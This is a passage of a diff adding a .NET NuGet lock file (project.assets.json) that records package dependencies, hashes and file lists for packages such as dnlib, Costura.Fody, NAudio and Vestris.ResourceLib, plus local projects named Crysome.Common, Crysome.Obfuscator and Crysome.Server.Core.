"System.Runtime": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Threading": "4.3.0", + "runtime.native.System": "4.3.0" + }, + "compile": { + "ref/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll": {} + }, + "runtime": { + "lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Runtime.Numerics/4.3.0": { + "type": "package", + "dependencies": { + "System.Globalization": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0" + }, + "compile": { + "ref/netstandard1.1/System.Runtime.Numerics.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Runtime.Numerics.dll": {} + } + }, + "System.Security.AccessControl/4.7.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "3.1.0", + "System.Security.Principal.Windows": "4.7.0" + }, + "compile": { + "ref/netstandard2.0/System.Security.AccessControl.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/System.Security.AccessControl.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/win/lib/netcoreapp2.0/System.Security.AccessControl.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Cryptography.Algorithms/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Collections": "4.3.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "runtime.native.System.Security.Cryptography.Apple": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + }, + "compile": { + "ref/netstandard1.6/System.Security.Cryptography.Algorithms.dll": {} + }, + "runtimeTargets": { + "runtimes/osx/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll": { + "assetType": "runtime", + "rid": "osx" + }, + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Cryptography.Cng/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0" + }, + "compile": { + "ref/netstandard1.6/_._": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.Cng.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.6/System.Security.Cryptography.Cng.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Cryptography.Csp/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.IO": "4.3.0", + "System.Reflection": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/_._": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.3/System.Security.Cryptography.Csp.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.3/System.Security.Cryptography.Csp.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Cryptography.Encoding/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Collections": "4.3.0", + "System.Collections.Concurrent": "4.3.0", + "System.Linq": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Security.Cryptography.Encoding.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.3/System.Security.Cryptography.Encoding.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.3/System.Security.Cryptography.Encoding.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + }, + "compile": { + "ref/netstandard1.6/_._": {} + }, + "runtime": { + "lib/netstandard1.6/System.Security.Cryptography.OpenSsl.dll": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.OpenSsl.dll": { + "assetType": "runtime", + "rid": "unix" + } + } + }, + "System.Security.Cryptography.Primitives/4.3.0": { + "type": "package", + "dependencies": { + "System.Diagnostics.Debug": "4.3.0", + "System.Globalization": "4.3.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Security.Cryptography.Primitives.dll": {} + }, + "runtime": { + "lib/netstandard1.3/System.Security.Cryptography.Primitives.dll": {} + } + }, + "System.Security.Cryptography.X509Certificates/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Globalization": "4.3.0", + "System.Globalization.Calendars": "4.3.0", + "System.IO": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Cng": "4.3.0", + "System.Security.Cryptography.Csp": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.OpenSsl": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0", + "runtime.native.System": "4.3.0", + "runtime.native.System.Net.Http": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + }, + "compile": { + "ref/netstandard1.4/System.Security.Cryptography.X509Certificates.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.X509Certificates.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.6/System.Security.Cryptography.X509Certificates.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Principal.Windows/4.7.0": { + "type": "package", + "compile": { + "ref/netcoreapp3.0/System.Security.Principal.Windows.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/System.Security.Principal.Windows.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netcoreapp2.1/System.Security.Principal.Windows.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netcoreapp2.1/System.Security.Principal.Windows.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Text.Encoding/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Text.Encoding.dll": { + "related": ".xml" + } + } + }, + "System.Text.Encoding.Extensions/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0", + "System.Text.Encoding": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Text.Encoding.Extensions.dll": { + "related": ".xml" + } + } + }, + "System.Text.RegularExpressions/4.3.0": { + "type": "package", + "dependencies": { + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netcoreapp1.1/System.Text.RegularExpressions.dll": {} + }, + "runtime": { + "lib/netstandard1.6/System.Text.RegularExpressions.dll": {} + } + }, + "System.Threading/4.3.0": { + "type": "package", + "dependencies": { + "System.Runtime": "4.3.0", + "System.Threading.Tasks": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Threading.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Threading.dll": {} + } + }, + "System.Threading.Tasks/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Threading.Tasks.dll": { + "related": ".xml" + } + } + }, + "System.Threading.Tasks.Extensions/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading.Tasks": "4.3.0" + }, + "compile": { + "lib/netstandard1.0/_._": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.0/System.Threading.Tasks.Extensions.dll": { + "related": ".xml" + } + } + }, + "System.Threading.Timer/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.2/System.Threading.Timer.dll": { + "related": ".xml" + } + } + }, + "System.Xml.ReaderWriter/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Globalization": "4.3.0", + "System.IO": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Text.Encoding.Extensions": "4.3.0", + "System.Text.RegularExpressions": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "System.Threading.Tasks.Extensions": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Xml.ReaderWriter.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Xml.ReaderWriter.dll": {} + } + }, + "System.Xml.XDocument/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tools": "4.3.0", + "System.Globalization": "4.3.0", + "System.IO": "4.3.0", + "System.Reflection": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0", + "System.Xml.ReaderWriter": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Xml.XDocument.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Xml.XDocument.dll": {} + } + }, + "Vestris.ResourceLib/2.2.0": { + "type": "package", + "dependencies": { + "System.Drawing.Common": "4.7.3" + }, + "compile": { + "lib/netstandard2.0/Vestris.ResourceLib.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/Vestris.ResourceLib.dll": { + "related": ".xml" + } + } + }, + "Crysome.Common/1.0.0": { + "type": "project", + "framework": ".NETCoreApp,Version=v9.0", + "compile": { + "bin/placeholder/Crysome.Common.dll": {} + }, + "runtime": { + "bin/placeholder/Crysome.Common.dll": {} + }, + "frameworkReferences": [ + "Microsoft.WindowsDesktop.App.WPF" + ] + }, + "Crysome.Obfuscator/1.0.0": { + "type": "project", + "framework": ".NETCoreApp,Version=v9.0", + "dependencies": { + "dnlib": "4.5.0" + }, + "compile": { + "bin/placeholder/Crysome.Obfuscator.dll": {} + }, + "runtime": { + "bin/placeholder/Crysome.Obfuscator.dll": {} + } + }, + "Crysome.Server.Core/1.0.0": { + "type": "project", + "framework": ".NETCoreApp,Version=v9.0", + "compile": { + "bin/placeholder/Crysome.Server.Core.dll": {} + }, + "runtime": { + "bin/placeholder/Crysome.Server.Core.dll": {} + } + } + } + }, + "libraries": { + "Costura.Fody/5.7.0": { + "sha512": "MmL28WOOnJEBWORXj6bfSxfWaZW8gWSXEJTdrjB9AQi4COX6RXr2xdGL9HsxpWwn6f5Io0NmNuwFJe94w1YmQA==", + "type": "package", + "path": "costura.fody/5.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "build/Costura.Fody.props", + "build/Costura.Fody.targets", + "costura.fody.5.7.0.nupkg.sha512", + "costura.fody.nuspec", + "icon.png", + "lib/netstandard1.0/Costura.dll", + "lib/netstandard1.0/Costura.pdb", + "lib/netstandard1.0/Costura.xml", + "netclassicweaver/Costura.Fody.dll", + "netclassicweaver/Costura.Fody.xcf", + "netstandardweaver/Costura.Fody.dll", + "netstandardweaver/Costura.Fody.xcf" + ] + }, + "dnlib/4.5.0": { + "sha512": "YkwstIbjyiJ12uGIAN8oSmImgVFkPHit7MJXPHvJqeKV1DMNqxZWszjHfykgiSs4Y/XmjnZts7pI2/AYme5/uA==", + "type": "package", + "path": "dnlib/4.5.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.txt", + "dnlib.4.5.0.nupkg.sha512", + "dnlib.nuspec", + "lib/net35/dnlib.dll", + "lib/net35/dnlib.xml", + "lib/net45/dnlib.dll", + "lib/net45/dnlib.xml", + "lib/net6.0/dnlib.dll", + "lib/net6.0/dnlib.xml", + "lib/netstandard2.0/dnlib.dll", + "lib/netstandard2.0/dnlib.xml" + ] + }, + "Fody/6.8.0": { + "sha512": "hfZ/f8Mezt8aTkgv9nsvFdYoQ809/AqwsJlOGOPYIfBcG2aAIG3v3ex9d8ZqQuFYyMoucjRg4eKy3VleeGodKQ==", + "type": "package", + "path": "fody/6.8.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "License.txt", + "build/Fody.targets", + "fody.6.8.0.nupkg.sha512", + "fody.nuspec", + "netclassictask/Fody.dll", + "netclassictask/FodyCommon.dll", + "netclassictask/FodyHelpers.dll", + "netclassictask/FodyIsolated.dll", + "netclassictask/Mono.Cecil.Pdb.dll", + "netclassictask/Mono.Cecil.Pdb.pdb", + "netclassictask/Mono.Cecil.Rocks.dll", + "netclassictask/Mono.Cecil.Rocks.pdb", + "netclassictask/Mono.Cecil.dll", + "netclassictask/Mono.Cecil.pdb", + "netstandardtask/Fody.dll", + "netstandardtask/FodyCommon.dll", + "netstandardtask/FodyHelpers.dll", + "netstandardtask/FodyIsolated.dll", + "netstandardtask/Mono.Cecil.Pdb.dll", + "netstandardtask/Mono.Cecil.Pdb.pdb", + "netstandardtask/Mono.Cecil.Rocks.dll", + "netstandardtask/Mono.Cecil.Rocks.pdb", + "netstandardtask/Mono.Cecil.dll", + "netstandardtask/Mono.Cecil.pdb" + ] + }, + "Microsoft.CSharp/4.7.0": { + "sha512": "pTj+D3uJWyN3My70i2Hqo+OXixq3Os2D1nJ2x92FFo6sk8fYS1m1WLNTs0Dc1uPaViH0YvEEwvzddQ7y4rhXmA==", + "type": "package", + "path": "microsoft.csharp/4.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/Microsoft.CSharp.dll", + "lib/netcoreapp2.0/_._", + "lib/netstandard1.3/Microsoft.CSharp.dll", + "lib/netstandard2.0/Microsoft.CSharp.dll", + "lib/netstandard2.0/Microsoft.CSharp.xml", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/uap10.0.16299/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "microsoft.csharp.4.7.0.nupkg.sha512", + "microsoft.csharp.nuspec", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/Microsoft.CSharp.dll", + "ref/netcore50/Microsoft.CSharp.xml", + "ref/netcore50/de/Microsoft.CSharp.xml", + "ref/netcore50/es/Microsoft.CSharp.xml", + "ref/netcore50/fr/Microsoft.CSharp.xml", + "ref/netcore50/it/Microsoft.CSharp.xml", + "ref/netcore50/ja/Microsoft.CSharp.xml", + "ref/netcore50/ko/Microsoft.CSharp.xml", + "ref/netcore50/ru/Microsoft.CSharp.xml", + "ref/netcore50/zh-hans/Microsoft.CSharp.xml", + "ref/netcore50/zh-hant/Microsoft.CSharp.xml", + "ref/netcoreapp2.0/_._", + "ref/netstandard1.0/Microsoft.CSharp.dll", + "ref/netstandard1.0/Microsoft.CSharp.xml", + "ref/netstandard1.0/de/Microsoft.CSharp.xml", + "ref/netstandard1.0/es/Microsoft.CSharp.xml", + "ref/netstandard1.0/fr/Microsoft.CSharp.xml", + "ref/netstandard1.0/it/Microsoft.CSharp.xml", + "ref/netstandard1.0/ja/Microsoft.CSharp.xml", + "ref/netstandard1.0/ko/Microsoft.CSharp.xml", + "ref/netstandard1.0/ru/Microsoft.CSharp.xml", + "ref/netstandard1.0/zh-hans/Microsoft.CSharp.xml", + "ref/netstandard1.0/zh-hant/Microsoft.CSharp.xml", + "ref/netstandard2.0/Microsoft.CSharp.dll", + "ref/netstandard2.0/Microsoft.CSharp.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/uap10.0.16299/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "Microsoft.NETCore.Platforms/3.1.0": { + "sha512": "z7aeg8oHln2CuNulfhiLYxCVMPEwBl3rzicjvIX+4sUuCwvXw5oXQEtbiU2c0z4qYL5L3Kmx0mMA/+t/SbY67w==", + "type": "package", + "path": "microsoft.netcore.platforms/3.1.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/netstandard1.0/_._", + "microsoft.netcore.platforms.3.1.0.nupkg.sha512", + "microsoft.netcore.platforms.nuspec", + "runtime.json", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "Microsoft.NETCore.Targets/1.1.0": { + "sha512": "aOZA3BWfz9RXjpzt0sRJJMjAscAUm3Hoa4UWAfceV9UTYxgwZ1lZt5nO2myFf+/jetYQo4uTP7zS8sJY67BBxg==", + "type": "package", + "path": "microsoft.netcore.targets/1.1.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.0/_._", + "microsoft.netcore.targets.1.1.0.nupkg.sha512", + "microsoft.netcore.targets.nuspec", + "runtime.json" + ] + }, + "Microsoft.Win32.Primitives/4.3.0": { + "sha512": "9ZQKCWxH7Ijp9BfahvL2Zyf1cJIk8XYLF6Yjzr2yi0b2cOut/HQ31qf1ThHAgCc3WiZMdnWcfJCgN82/0UunxA==", + "type": "package", + "path": "microsoft.win32.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/Microsoft.Win32.Primitives.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "microsoft.win32.primitives.4.3.0.nupkg.sha512", + "microsoft.win32.primitives.nuspec", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/Microsoft.Win32.Primitives.dll", + "ref/netstandard1.3/Microsoft.Win32.Primitives.dll", + "ref/netstandard1.3/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/de/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/es/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/fr/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/it/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/ja/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/ko/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/ru/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/zh-hans/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/zh-hant/Microsoft.Win32.Primitives.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._" + ] + }, + "Microsoft.Win32.Registry/4.7.0": { + "sha512": "KSrRMb5vNi0CWSGG1++id2ZOs/1QhRqROt+qgbEAdQuGjGrFcl4AOl4/exGPUYz2wUnU42nvJqon1T3U0kPXLA==", + "type": "package", + "path": "microsoft.win32.registry/4.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/net46/Microsoft.Win32.Registry.dll", + "lib/net461/Microsoft.Win32.Registry.dll", + "lib/net461/Microsoft.Win32.Registry.xml", + "lib/netstandard1.3/Microsoft.Win32.Registry.dll", + "lib/netstandard2.0/Microsoft.Win32.Registry.dll", + "lib/netstandard2.0/Microsoft.Win32.Registry.xml", + "microsoft.win32.registry.4.7.0.nupkg.sha512", + "microsoft.win32.registry.nuspec", + "ref/net46/Microsoft.Win32.Registry.dll", + "ref/net461/Microsoft.Win32.Registry.dll", + "ref/net461/Microsoft.Win32.Registry.xml", + "ref/net472/Microsoft.Win32.Registry.dll", + "ref/net472/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/Microsoft.Win32.Registry.dll", + "ref/netstandard1.3/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/de/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/es/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/fr/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/it/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/ja/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/ko/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/ru/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/zh-hans/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/zh-hant/Microsoft.Win32.Registry.xml", + "ref/netstandard2.0/Microsoft.Win32.Registry.dll", + "ref/netstandard2.0/Microsoft.Win32.Registry.xml", + "runtimes/unix/lib/netstandard2.0/Microsoft.Win32.Registry.dll", + "runtimes/unix/lib/netstandard2.0/Microsoft.Win32.Registry.xml", + "runtimes/win/lib/net46/Microsoft.Win32.Registry.dll", + "runtimes/win/lib/net461/Microsoft.Win32.Registry.dll", + "runtimes/win/lib/net461/Microsoft.Win32.Registry.xml", + "runtimes/win/lib/netstandard1.3/Microsoft.Win32.Registry.dll", + "runtimes/win/lib/netstandard2.0/Microsoft.Win32.Registry.dll", + "runtimes/win/lib/netstandard2.0/Microsoft.Win32.Registry.xml", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "Microsoft.Win32.SystemEvents/9.0.0": { + "sha512": "z8FfGIaoeALdD+KF44A2uP8PZIQQtDGiXsOLuN8nohbKhkyKt7zGaZb+fKiCxTuBqG22Q7myIAioSWaIcOOrOw==", + "type": "package", + "path": "microsoft.win32.systemevents/9.0.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "LICENSE.TXT", + "PACKAGE.md", + "THIRD-PARTY-NOTICES.TXT", + "buildTransitive/net461/Microsoft.Win32.SystemEvents.targets", + "buildTransitive/net462/_._", + "buildTransitive/net8.0/_._", + "buildTransitive/netcoreapp2.0/Microsoft.Win32.SystemEvents.targets", + "lib/net462/Microsoft.Win32.SystemEvents.dll", + "lib/net462/Microsoft.Win32.SystemEvents.xml", + "lib/net8.0/Microsoft.Win32.SystemEvents.dll", + "lib/net8.0/Microsoft.Win32.SystemEvents.xml", + "lib/net9.0/Microsoft.Win32.SystemEvents.dll", + "lib/net9.0/Microsoft.Win32.SystemEvents.xml", + "lib/netstandard2.0/Microsoft.Win32.SystemEvents.dll", + "lib/netstandard2.0/Microsoft.Win32.SystemEvents.xml", + "microsoft.win32.systemevents.9.0.0.nupkg.sha512", + "microsoft.win32.systemevents.nuspec", + "runtimes/win/lib/net8.0/Microsoft.Win32.SystemEvents.dll", + "runtimes/win/lib/net8.0/Microsoft.Win32.SystemEvents.xml", + "runtimes/win/lib/net9.0/Microsoft.Win32.SystemEvents.dll", + "runtimes/win/lib/net9.0/Microsoft.Win32.SystemEvents.xml", + "useSharedDesignerContext.txt" + ] + }, + "NAudio/2.2.1": { + "sha512": "c0DzwiyyklM0TP39Y7RObwO3QkWecgM6H60ikiEnsV/aEAJPbj5MFCLaD8BSfKuZe0HGuh9GRGWWlJmSxDc9MA==", + "type": "package", + "path": "naudio/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/net472/NAudio.dll", + "lib/net472/NAudio.xml", + "lib/net6.0-windows7.0/NAudio.dll", + "lib/net6.0-windows7.0/NAudio.xml", + "lib/net6.0/NAudio.dll", + "lib/net6.0/NAudio.xml", + "lib/netcoreapp3.1/NAudio.dll", + "lib/netcoreapp3.1/NAudio.xml", + "license.txt", + "naudio-icon.png", + "naudio.2.2.1.nupkg.sha512", + "naudio.nuspec" + ] + }, + "NAudio.Asio/2.2.1": { + "sha512": "hQglyOT5iT3XuGpBP8ZG0+aoqwRfidHjTNehpoWwX0g6KJEgtH2VaqM2nuJ2mheKZa/IBqB4YQTZVvrIapzfOA==", + "type": "package", + "path": "naudio.asio/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.Asio.dll", + "lib/netstandard2.0/NAudio.Asio.xml", + "naudio-icon.png", + "naudio.asio.2.2.1.nupkg.sha512", + "naudio.asio.nuspec" + ] + }, + "NAudio.Core/2.2.1": { + "sha512": "GgkdP6K/7FqXFo7uHvoqGZTJvW4z8g2IffhOO4JHaLzKCdDOUEzVKtveoZkCuUX8eV2HAINqi7VFqlFndrnz/g==", + "type": "package", + "path": "naudio.core/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.Core.dll", + "lib/netstandard2.0/NAudio.Core.xml", + "naudio-icon.png", + "naudio.core.2.2.1.nupkg.sha512", + "naudio.core.nuspec" + ] + }, + "NAudio.Midi/2.2.1": { + "sha512": "6r23ylGo5aeP02WFXsPquz0T0hFJWyh+7t++tz19tc3Kr38NHm+Z9j+FiAv+xkH8tZqXJqus9Q8p6u7bidIgbw==", + "type": "package", + "path": "naudio.midi/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.Midi.dll", + "lib/netstandard2.0/NAudio.Midi.xml", + "naudio-icon.png", + "naudio.midi.2.2.1.nupkg.sha512", + "naudio.midi.nuspec" + ] + }, + "NAudio.Wasapi/2.2.1": { + "sha512": "lFfXoqacZZe0WqNChJgGYI+XV/n/61LzPHT3C1CJp4khoxeo2sziyX5wzNYWeCMNbsWxFvT3b3iXeY1UYjBhZw==", + "type": "package", + "path": "naudio.wasapi/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.Wasapi.dll", + "lib/netstandard2.0/NAudio.Wasapi.xml", + "lib/uap10.0.18362/NAudio.Wasapi.dll", + "lib/uap10.0.18362/NAudio.Wasapi.pri", + "lib/uap10.0.18362/NAudio.Wasapi.xml", + "naudio-icon.png", + "naudio.wasapi.2.2.1.nupkg.sha512", + "naudio.wasapi.nuspec" + ] + }, + 